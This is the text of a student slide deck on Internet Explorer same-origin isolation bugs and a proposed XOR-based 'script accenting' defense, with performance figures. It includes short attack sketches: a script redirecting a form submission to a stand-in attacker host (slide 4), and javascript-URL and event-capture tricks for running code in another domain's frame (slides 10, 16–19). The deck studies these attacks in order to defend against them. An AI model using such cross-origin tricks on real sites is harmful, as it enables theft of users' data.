An Analysis of Browser Domain-Isolation Bugs and A Light-Weight Transparent Defense Mechanism

1. An Analysis of Browser Domain-Isolation Bugsand A Light-Weight Transparent Defense Mechanism 20065817 Su Yong Kim

2. Contents • Domain Isolation • Real-World Attacks • Script Accenting Mechanism • Attack Scenarios Revisited • Performance • Conclusion

3. Domain Isolation of IE • Frame-based Isolation • Scripts from one frame can access documents in another frame if and only if the two frames are from the same domain • Same Origin Policy

4. Importance of Same Origin Policy duam.net <script> DaumWnd.document.submitForm.action = http://attacker.web.server/ </script>

5. Window Proxy • Clone of the Window object • String comparison is performed to check if the two domains are identical

6. Real-World Attacks • Malicious frame • http://evil • Victim frame • http://payroll • Purpose of attacks • The script “doEvil” from http://evil is executed in the document from http://payroll

7. Exploiting the Interactions between IE and Windows Explorer

8. Exploiting Function Aliasing

9. Exploiting the Excessive Expressiveness of Frame Navigation

10. Exploiting the Semantics of User Events • The script from http://evil in Frame0 • Creates frame1 to load http://payroll • Calls document.body.setCapture() to capture all mouse events • When the user clicks inside Frame1 • The event is handled by the method body.onClick() in Frame0 • Event.srcElementin Frame0 can be used to access document object in Frame1

11. Exploiting the Semantics of User Events

12. Reason for Isolation Failure • Unexpected execution scenarios to bypass the check • Single-point check buried deep in the call stack • Challenging for developers to enumerate and test all these unexpected scenarios • Difficult to guarantee that the checks are performed exhaustively and correctly

13. Script Accenting • Generate a 32-bit random number as the accent key for each domain of frame • Before sending scripts or object name queries, • XOR every 32-bit word in scripts and object name queries with the accent key of owner frame • Does not increate the length of the script • No possibility of buffer overflow • After receiving scripts or object name queries • XOR every 32-bit word in scripts and object name queries with the accent key of receiver frame

14. Accenting Script Source Code

15. Accenting Object Name Queries

16. Attack 1 Revisited • Open(“file:javascript:doEvil”, “frame2”) • InvokeNavigation does not accent “file:javascript:doEvil” because it is not javascript-URL • Windows Explorer removes the “file:” and passes “javascript:doEvil” to frame2 • Compile de-accents “javascript:doEvil” • ATTACK Fails!

17. Attack 2 Revisited • Location.assign(‘javascript:doEvil’) • InvokeNavigation accents “javascript:doEvil” with the key of http://evil • Compile de-accents (javascript:doEvil)k with the key of http://payroll • ATTACK Fails!

18. Attack 3Revisited • Frame2.open(“javascript:doEvil”, “frame1”) • InvokeNavigation accents “javascript:doEvil” with the key of http://evil • Because script source code resides in http://evil • Compile de-accents (javascript:doEvil)k with the key of http://payroll • ATTACK Fails!

19. Attack 4 Revisited • Event.srcElement • InvokeByNameaccents object name queries with the key of http://evil • GetDispatchIDde-accents (object name queries)kwith the key of http://payroll • ATTACK Fails!

20. XOR Probing Attacks • Guessing (katkkvtm) • Attack String • doEvil (katkkvtm) • Probability • 1/(256)4 • Verification • No way to detect syntax error of victim’s frame

21. Performance • Worst Case • 3.16 % overhead

22. Conclusion • Analysis of IE’s domain-isolation mechanism and the known attacks • Proposal of the script accenting technique • Extension to non-browser platform • Application Domain of CLR(Common Language Runtime) in .NET framework • Limitation • IE-dependent implementation

23. Discussion • Thanks for Listening!